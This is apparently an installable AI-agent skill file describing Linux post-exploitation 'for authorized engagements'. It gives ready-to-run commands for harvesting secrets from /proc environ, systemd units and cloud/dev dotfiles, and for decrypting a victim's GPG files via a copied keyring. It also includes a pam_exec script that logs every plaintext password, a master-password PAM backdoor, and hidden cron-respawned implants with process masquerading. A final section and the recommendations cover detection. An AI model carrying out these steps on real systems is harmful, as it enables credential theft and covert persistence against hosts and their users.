performing-linux-post-exploitation

star 618

Post-exploitation on Linux during authorized engagements — credential harvesting from process environments, systemd units and dotfiles, PAM-based credential capture and backdoors, GPG keyring relocation for offline decryption, and persistence / stealth tradecraft (process masquerading, BPF passive backdoors) plus the hunts that detect them.

xalgord By xalgord schedule Updated 6/6/2026

name: performing-linux-post-exploitation description: Post-exploitation on Linux during authorized engagements — credential harvesting from process environments, systemd units and dotfiles, PAM-based credential capture and backdoors, GPG keyring relocation for offline decryption, and persistence / stealth tradecraft (process masquerading, BPF passive backdoors) plus the hunts that detect them. domain: cybersecurity subdomain: linux-hardening tags:

  • penetration-testing
  • linux
  • post-exploitation
  • persistence
  • credential-access version: '1.0' author: xalgorix license: Apache-2.0

Performing Linux Post-Exploitation

When to Use

  • After obtaining a foothold (especially root) on a Linux host during an authorized engagement
  • When the objective includes lateral movement, credential access, or demonstrating persistence
  • When harvesting secrets to pivot to other hosts, cloud accounts, or internal services
  • During red-team exercises that require stealthy, detectable-only-on-purpose persistence
  • When performing blue-team-style hunts for existing implants on a compromised host

Critical: Techniques Most Often Missed

Operators grab ~/.ssh and shell history and move on. The richest reusable credentials live in process environments, systemd units, and app dotfiles.

  • Secrets in process environments. Service processes inherit DB URIs, admin creds, API keys.
    • How to CONFIRM: tr '\0' '\n' </proc/<PID>/environ shows values like GF_SECURITY_ADMIN_PASSWORD=...; reuse them against SSH/other services.
  • Credentials baked into systemd unit files. Environment= lines carry Basic-Auth and DB passwords.
    • How to CONFIRM: grep -R '^Environment=' /etc/systemd/system /lib/systemd/system returns BASIC_AUTH_PWD=... that often works on the web panel and SSH.
  • App dotfiles beyond SSH/history. .aws/credentials, .kube/config, .docker/config.json, .netrc, .git-credentials.
    • How to CONFIRM: grep -RInE 'password|token|aws_secret' ~/.aws ~/.kube ~/.docker ~/.netrc 2>/dev/null returns live tokens.
  • GPG keyring relocation to decrypt loot. Permission/lock errors on the original homedir are bypassed by copying the keyring.
    • How to CONFIRM: GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d secrets.gpg succeeds where the in-place decrypt failed with "unsafe ownership on homedir".
  • PAM credential capture / backdoor. pam_exec.so logs every plaintext password; a patched pam_unix.so accepts a master password.
    • How to CONFIRM: after adding the pam_exec.so line, a fresh login writes the cleartext password to /var/log/toomanysecrets.log.
  • Passive BPF backdoors with no listening port. netstat/ss/nmap look clean; the implant filters traffic in-kernel.
    • How to CONFIRM (hunt): ss -0pb | egrep -i 'packet|raw' reveals raw/packet sockets with attached filters owned by oddly-named processes.

Workflow

Step 1: Harvest Credentials from Process Environments

env ; printenv                                   # your own process
tr '\0' '\n' < /proc/<PID>/environ               # another process
strings -z /proc/<PID>/environ                   # fallback
tr '\0' '\n' < /proc/1/environ                   # PID 1 (containers)
# Look for: DB URIs, API keys, SMTP/OAuth secrets, GF_SECURITY_ADMIN_*, proxy/TLS overrides

Step 2: Pull Secrets from systemd Units and Dotfiles

ls -la /etc/systemd/system /lib/systemd/system
sudo grep -R '^Environment=.*' /etc/systemd/system /lib/systemd/system 2>/dev/null

# User credential stores and history files
ls -la ~ | grep -iE 'history|credential|token|key|secret'
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
  ~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
# Also: ~/.local/share/keyrings/, ~/.mysql_history, ~/.psql_history

Step 3: Decrypt GPG Loot via Relocated Keyring

mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# If private-keys-v1.d holds the secret key, decryption proceeds without a passphrase

Step 4: PAM Credential Capture (logging plaintext passwords)

# Log date, $PAM_USER, the password from stdin, and $PAM_RHOST on every auth
cat > /usr/local/bin/toomanysecrets.sh <<'EOF'
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
EOF
chmod 700 /usr/local/bin/toomanysecrets.sh
# Append to /etc/pam.d/common-auth:
#   auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

Step 5: PAM Backdoor (master password)

A patched pam_unix.so grants auth when a predefined password is supplied, otherwise it falls through to normal verification. The compiled library replaces the system pam_unix.so and works across login/ssh/sudo/su. Automate with linux-pam-backdoor.

Step 6: Establish Stealthy Persistence

# Multi-path implant + cron respawn, single-instance loopback "mutex"
for d in /tmp /var/tmp /dev/shm /run/lock; do cp implant "$d/.s" 2>/dev/null; done
(crontab -l 2>/dev/null; echo '*/5 * * * * /tmp/.s') | crontab -
# Process masquerading: prctl(PR_SET_NAME,"init") + overwrite argv[0] so ps/cmdline lie

Step 7: Hunt for Existing Implants (blue-team validation)

# Raw/packet sockets + attached BPF filters (portless backdoors)
ss -0pb | egrep -i 'packet|raw' ; cat /proc/net/packet
# Process name vs real exe mismatch, deleted/fileless exes
for p in /proc/[0-9]*; do exe=$(readlink "$p/exe" 2>/dev/null);
  cmd=$(tr '\0' ' ' <"$p/cmdline" 2>/dev/null);
  [ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd"; done \
  | egrep -i 'agetty|smartd|init|dockerd'
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
grep -RInE 'bpfd|dockerd|/dev/shm|/var/tmp' /etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null

Key Concepts

Concept Description
Environment credential leak Secrets passed via env are inherited by children and any spawned shell
systemd Environment= Credentials embedded directly in unit files, often root-run web panels
PAM Pluggable Authentication Modules; pam_exec.so runs scripts, pam_unix.so checks passwords
GNUPGHOME relocation Pointing GPG at a writable copy of a keyring to bypass homedir permission/lock errors
Process masquerading prctl(PR_SET_NAME) + argv[0] overwrite to display a benign name in ps/proc
BPF passive backdoor Kernel socket filter that triggers a shell only on a magic packet — no open port
Single-instance mutex Implant binds a fixed loopback port and exits if bind fails, preventing duplicates

Tools & Systems

Tool Purpose
/proc//environ Read another process's environment for inherited secrets
pam_exec.so Run an arbitrary script during authentication (credential capture)
linux-pam-backdoor Automates patching pam_unix.so with a master password
gpg (GNUPGHOME) Decrypt loot with a relocated victim keyring
pspy Observe cron/systemd activity to find credential-bearing jobs
ss / bpftool Detect raw/packet sockets and baseline BPF usage when hunting implants

Common Scenarios

Scenario 1: Grafana env creds reuse

A Grafana process exposes GF_SECURITY_ADMIN_PASSWORD in /proc/<pid>/environ. The same password works for SSH on the host, enabling a clean pivot.

Scenario 2: systemd Basic-Auth leak

grep -R '^Environment=' reveals BASIC_AUTH_USER=root / BASIC_AUTH_PWD=... in a crontab-ui unit running as root, unlocking the admin web panel.

Scenario 3: GPG-protected backup

A .gpg backup cannot be decrypted in place due to homedir permissions. Copying ~/.gnupg into /dev/shm and setting GNUPGHOME decrypts the secrets.

Scenario 4: PAM password capture for persistence

Adding a pam_exec.so line to common-auth logs every cleartext login password to a file, harvesting admin credentials as they authenticate.

Output Format

## Post-Exploitation Finding

**Activity**: Credential Harvesting & Persistence
**Severity**: High
**Host**: app01 (root access obtained)

### Credentials Recovered
| Source | Secret | Reuse |
|--------|--------|-------|
| /proc/812/environ | DB URI + password | psql to internal DB |
| systemd unit crontab-ui.service | BASIC_AUTH_PWD | web panel + SSH on app01 |
| ~/.aws/credentials | AWS access/secret key | AWS account access |

### Persistence Demonstrated (authorized)
- pam_exec.so line in /etc/pam.d/common-auth logging plaintext logins
- cron respawn entry: */5 * * * * /tmp/.s  (removed at end of engagement)

### Detection Notes
ss -0pb showed no rogue raw/packet sockets; process-name vs exe audit clean.

### Recommendation
1. Move secrets out of env / unit files into a secret manager; rotate exposed creds
2. Review /etc/pam.d/* and pam module integrity; alert on pam_exec additions
3. Restrict /proc visibility (hidepid=2) and dotfile permissions
4. Monitor for raw/packet sockets, deleted exes, and process-name/exe mismatches
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill performing-linux-post-exploitation
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator